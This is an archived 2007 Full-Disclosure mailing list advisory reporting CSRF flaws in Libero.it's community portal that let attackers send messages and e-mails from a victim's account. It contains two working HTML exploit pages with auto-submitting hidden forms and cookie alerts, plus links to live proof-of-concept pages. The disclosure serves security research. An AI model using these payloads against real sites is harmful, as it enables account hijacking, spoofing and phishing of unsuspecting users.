full-disclosure - Severe CSRF vulnerabilities allow mail/msg spoofing in Libero.it portal

lists.openwall.net		lists / announce john-users owl-users popa3d-users / xvendor oss-security / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4
Open Source and information security mailing list archives

This website is powered by Openwall GNU/*/Linux security-enhanced OS

[<prev] [next>] [month] [year] [list]

Date: Mon, 2 Apr 2007 02:31:45 +0200
From: "Rosario Valotta" <rosario.valotta@...il.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Severe CSRF vulnerabilities allow mail/msg
	spoofing in Libero.it portal

<--start-->

Other severe vulnerabilities are present on Libero.it (italian ISP)
portal, always  in the Community section.

The portal allows users to create personal web pages with unchecked contents.
These pages will be hosted under digilander.libero.it domain, so that
is possible for an attacker to read and manipulate visitors cookie
(with obvious risks for privacy & phishing opportunities...). This is
a conceptual mistake...

But this is just the beginning: an attacker can use his Libero
personal site to conduct CSRF attacks against Community users; merely
opening the malicious pages can result in:

1-attaccker can send msgs to other community users from victim's account

<HTML>
<BODY>
Ciao!
<form method="POST" id="evil" name="evil"
action="http://digiland.libero.it/msg/inviamsg.php">
	<input type="hidden" name="destinatario" value="testxss">
	<input type="hidden" name="riferimento" value="NULL">
	<input type="hidden" name="med" value="msg">
	<input type="hidden" name="rispondi" value="">
                     <input type="hidden" name="quale" value="">
                     <input type="hidden" name="firma" value="0">
                     <input type="hidden" name="messaggio" value="CSRFmsg">
                     <input type="hidden" name="paperv" value="0">
 </form>
<SCRIPT>
	alert(document.cookie);
                  	document.evil.submit();

</SCRIPT>
</BODY>
</HTML>

2- attacker can send e-mails to other community users using victim's account

<HTML>
<BODY>
Ciao!
<img src="http://digiland.libero.it/msg/inviamsg.php?destinatario=testxss&riferimento=NULL&med=msg&rispondi=&quale=&firma=0&messaggio=CSRFmsg&paperv=0">
  <form method="POST" id="evil" name="evil"
action="http://digiland.libero.it/inviamail.php">
	<input type="hidden" name="nick" value="testxss">
	<input type="hidden" name="proviene" value="1">
	<input type="hidden" name="oggetto" value="CSRFmail">
	<input type="hidden" name="corpo" value="Who sent this mail?">
 </form>
<SCRIPT>
	alert(document.cookie);
                  	document.evil.submit();

</SCRIPT>
</BODY>
</HTML>

In both cases neither Referrer nor unique tokens are used to prevent CSRF.

POC (until not deleted) can be found at :

http://digilander.libero.it/testxss/demo/img.htm
http://digilander.libero.it/testxss/demo/img2.htm

both require you're logged in libero Community.

Greetings,
Rosario Valotta

rosario.valotta at gmail dot com

<---end-->

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/